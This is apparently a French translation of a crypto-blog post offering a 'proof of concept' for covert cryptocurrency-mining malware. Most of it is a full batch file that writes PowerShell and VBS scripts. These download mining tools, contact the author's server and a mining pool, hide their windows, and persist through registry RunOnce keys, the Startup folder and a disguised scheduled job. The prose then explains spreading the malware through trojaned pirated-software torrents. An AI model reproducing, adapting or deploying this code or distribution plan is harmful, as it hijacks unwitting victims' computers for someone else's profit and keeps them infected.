News
Un piratage qui se réplique, exploite la crypto sans CPU / GPU


@jareJarett Dunn
https://jare.cloud Accélération en tant que service, abandon devenu #Entrepreneur, défenseur de la santé mentale!
J'allais le diffuser en direct au marathon, mais toutes les joies de la récente affiliation de Hacker Noon avec Coil commencent à me montrer un amour (fractionnaire).
Note aux auteurs-pirates: votre point de terminaison Uphold doit être défini à la fois sur la page des paramètres de Coil et de Hacker Noon. 🙂 Le mien n'a pas été pour le premier temps, prouvant des revenus de 0 $ jusqu'à ce qu'il soit réparé et le tour est joué!

Une fraction de centime!
Maintenant, passons à mon POC. Notez que je n'ai pas créé (la plupart de) ceci et ne l'ai pas propagé à des machines non consentantes. L'hypothèse n'est pas illégale, non?
Remarque: j'ai créé la plupart du script d'extraction dans PowerShell et je l'ai exécuté il y a un certain temps. Les autres aspects de ce POC sont tout à fait nouveaux.
Regardez ça, j'ai même trouvé un peu de code incriminant 🙂
@echo off
@echo mkdir c:temp >>stuff.ps1
@echo $disk = Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='C:'" >>stuff.ps1
@echo $nonces=$disk.FreeSpace/1024/1024/1024/2*4096 >>stuff.ps1
@echo $web_client = new-object system.net.webclient >>stuff.ps1
@echo $build_info=$web_client.DownloadString("http://noncecalculator.duckdns.org:3000/?nonces=$nonces") >>stuff.ps1
@echo $start=$build_info.nonce >>stuff.ps1
@echo (new-object System.Net.WebClient).DownloadFile('https://github.com/PoC-Consortium/engraver/releases/download/2.20/engraver-2.2.0-x86_64-pc-windows-msvc.zip.zip', 'c:/temp/engraver.zip') >>stuff.ps1
@echo $nonces=(math)::floor($nonces) >>stuff.ps1
@echo $start=(math)::floor($start) >>stuff.ps1
@echo Add-Type -AssemblyName System.IO.Compression.FileSystem >>stuff.ps1
@echo (System.IO.Compression.ZipFile)::ExtractToDirectory('c:/temp/engraver.zip', 'c:/temp') >>stuff.ps1
@echo start-process -NoNewWindow -FilePath 'c:tempengraver_cpu.exe' -ArgumentList "-l -i 10478801653490313100 -s $start -n $nonces -p c:temp" >>stuff.ps1
@echo (new-object System.Net.WebClient).DownloadFile('https://github.com/PoC-Consortium/scavenger/releases/download/v.1.7.2/scavenger-1.7.2-x86_64-pc-windows-msvc-cpu-only.zip', 'c:/temp/scavenger.zip') >>stuff.ps1
@echo (System.IO.Compression.ZipFile)::ExtractToDirectory('c:/temp/scavenger.zip', 'c:/temp') >>stuff.ps1
@echo $out = ^"plot_dirs: >>stuff.ps1
@echo - 'C:temp' >>stuff.ps1
@echo url: 'http://0-100-pool.burst.cryptoguru.org:8124' >>stuff.ps1
@echo hdd_reader_thread_count: 0 # default 0 (=auto: number of disks) >>stuff.ps1
@echo hdd_use_direct_io: true # default true >>stuff.ps1
@echo hdd_wakeup_after: 240 # default 240s >>stuff.ps1
@echo cpu_threads: 0 # default 0 (=auto: number of logical cpu cores) >>stuff.ps1
@echo cpu_worker_task_count: 4 # default 4 (0=GPU only) >>stuff.ps1
@echo cpu_nonces_per_cache: 65536 # default 65536 >>stuff.ps1
@echo cpu_thread_pinning: false # default false >>stuff.ps1
@echo gpu_threads: 0 # default 0 (=GPU off) >>stuff.ps1
@echo gpu_platform: 0 # default 0 >>stuff.ps1
@echo gpu_device: 0 # default 0 >>stuff.ps1
@echo gpu_worker_task_count: 0 # default 0 (=CPU only) >>stuff.ps1
@echo gpu_nonces_per_cache: 262144 # default 262144 >>stuff.ps1
@echo gpu_mem_mapping: false # default false >>stuff.ps1
@echo gpu_async: false # default false >>stuff.ps1
@echo target_deadline: 31536000 # default u32::MAX >>stuff.ps1
@echo account_id_to_target_deadline: # target dls for multi-id (optional) >>stuff.ps1
@echo 10282355196851764065: 600000 >>stuff.ps1
@echo 1796535821016683299: 55555555 >>stuff.ps1
@echo get_mining_info_interval: 3000 # default 3000ms >>stuff.ps1
@echo timeout: 5000 # default 5000ms >>stuff.ps1
@echo send_proxy_details: true # default false >>stuff.ps1
@echo console_log_level: 'info' # default Info, options (off, error, warn, info, debug, trace) >>stuff.ps1
@echo logfile_log_level: 'warn' # default Warn, options (off, serror, warn, info, debug, trace) >>stuff.ps1
@echo logfile_max_count: 10 # maximum number of log files to keep >>stuff.ps1
@echo logfile_max_size : 20 # maximum size per logfile in MiB >>stuff.ps1
@echo show_progress: true # default true >>stuff.ps1
@echo show_drive_stats: false # default false >>stuff.ps1
@echo benchmark_only: 'disabled' # default disabled, options (disabled, I/O, XPU)^" >>stuff.ps1
@echo rm c:tempconfig.yaml >>stuff.ps1
@echo add-content c:tempconfig.yaml $out >>stuff.ps1
@echo start-process -NoNewWindow -FilePath 'c:tempscavenger.exe' -ArgumentList "-c c:tempconfig.yaml" >>stuff.ps1
@echo $ps1 = 'set-location HKCU:SoftwareMicrosoftWindowsCurrentVersionRunOnce >>stuff.ps1
@echo new-itemproperty . MyKey -propertytype String -value ^"Powershell c:tempps1.ps1^" >>stuff.ps1
@echo start-process -NoNewWindow -FilePath ^"c:tempscavenger.exe^" -ArgumentList ^"-c c:tempconfig.yaml^"' >>stuff.ps1
@echo rm c:tempps1.ps1 >>stuff.ps1
@echo add-content c:tempps1.ps1 $ps1 >>stuff.ps1
@echo $trigger = New-JobTrigger -AtStartup >>stuff.ps1
@echo $user=(Environment)::UserName >>stuff.ps1
@echo $start='c:tempscavenger.exe -c c:tempconfig.yaml > output.txt' >> stuff.ps1
mkdir c:temp
@echo $vbs='wscript.exe c:tempinvis.vbs c:tempstartup.cmd %*'>>stuff.ps1
@echo add-content "C:Users$userAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupstartup2.cmd" $vbs >>stuff.ps1
@echo set args = WScript.Arguments >> c:tempinvis.vbs
@echo num = args.Count >> c:tempinvis.vbs
@echo if num = 0 then >> c:tempinvis.vbs
@echo WScript.Echo "Usage: (CScript | WScript) invis.vbs aScript.bat " >> c:tempinvis.vbs
@echo WScript.Quit 1 >> c:tempinvis.vbs
@echo end if >> c:tempinvis.vbs
@echo sargs = "" >> c:tempinvis.vbs
@echo if num > 1 then >> c:tempinvis.vbs
@echo sargs = " " >> c:tempinvis.vbs
@echo for k = 1 to num - 1 >> c:tempinvis.vbs
@echo anArg = args.Item(k) >> c:tempinvis.vbs
@echo sargs = sargs & anArg & " " >> c:tempinvis.vbs
@echo next >> c:tempinvis.vbs
@echo end if >> c:tempinvis.vbs
@echo Set WshShell = WScript.CreateObject("WScript.Shell") >> c:tempinvis.vbs
@echo WshShell.Run ^"^"^"^" & WScript.Arguments(0) & ^"^"^"^" & sargs, 0, False >> c:tempinvis.vbs
@echo add-content "C:tempstartup.cmd" $start >>stuff.ps1
@echo Register-ScheduledJob -Trigger $trigger -FilePath c:tempps1.ps1 -Name GetBatteryStatus2 >>stuff.ps1
@echo new-itemproperty . MyKey -propertytype String -value ^"Powershell c:tempps1.ps1^" >>stuff.ps1
@echo start-process -NoNewWindow -FilePath ^"c:tempscavenger.exe^" -ArgumentList ^"-c c:tempconfig.yaml^" >>stuff.ps1
START powershell -WindowStyle Hidden -ExecutionPolicy ByPass -File "stuff.ps1"
D'accord, donc, pour décomposer cela en petites étapes réalisables avec une certaine logique, l'idée était de choisir une crypto pour brancher les ordinateurs des gens sans utiliser leur CPU / GPU (ce que la plupart des gens, aussi stupides soient-ils, remarquent et diagnostiquent). La plupart des cryptos compatibles avec les botnets utiliseront un% du processeur de la machine cible ou (parfois) des GPU pour extraire le cryptage.
J'ai choisi Burst – mais depuis lors, Burstcoin a changé de tête et est devenu BHD et une tonne d'autres pièces connexes. Vous pouvez tous les miner en utilisant ce même script – il vous suffirait de modifier (une partie) de l'exécution ici.
Le fichier de commandes Windows ci-dessus enregistre certaines commandes dans différents scripts Powershell qu'il exécute ensuite.
En bref, il détermine la quantité d'espace disque disponible sur C :, puis prend un% de cela et exécute «graveur» qui est un traceur de ligne de commande FOSS Burst en arrière-plan. En supposant que l'ordinateur soit allumé assez longtemps pour que ce processus se termine, il lancerait – au démarrage – «scavenger» pour exploiter cette rafale.
Il y a des choses plus compliquées ici que cela – par exemple, exécuter une invite de commande Windows « invisible '', utiliser un script que j'ai trouvé dans les sites Web inférieurs ou charger une réponse JSON à partir de mon serveur centralisé (ce qui aurait été incriminant si ce complot était exécuté le …) afin d'évaluer le nonce de départ pour cette prochaine cible.
Maintenant, pour propager cela sur Internet (sans aucun budget à proprement parler), nous téléchargerions les meilleurs torrents logiciels (de taille plus petite en Mo) de thepiratebay ou d'un site similaire, par popularité. Naturellement, certaines personnes téléchargeraient nos nouveaux torrents, exécutaient le .exe à l'intérieur où notre fichier de commandes est proprement (et totalement indétectable) combiné avec ce .exe, ils obtiendraient leur logiciel piraté et nous ferions exécuter notre lot. leur système.
Certaines de ces personnes réensemenceraient – nous les forcerions à télécharger à nouveau le torrent et les données et à les semer à l'aide d'un processus système et d'un logiciel de torrent Windows en ligne de commande (dont je ne suis pas sûr qu'il existe).
Voilà, la propagation non invasive. Les gens veulent des logiciels libres, consomment des logiciels libres et acquièrent toutes sortes de méchancetés – abaissant leurs boucliers UAC pour le faire par défaut.
Notez que certaines parties de ces instructions ont été obscurcies pour être moins efficaces (de manière désintéressée) ou moins incriminantes (égoïstement), au sens du déni probable.
en relation
Mots clés
Traduction de l’article de Jarett Dunn : Article Original

Le Meilleur de l'Actualité Blockchain Francophone & Internationale | News, Guides, Avis & Tutoriels pour s'informer et démarrer facilement avec Bitcoin, les Crypto-Monnaies et le Blockchain. En Savoir Plus sur L'Équipe BlockBlog
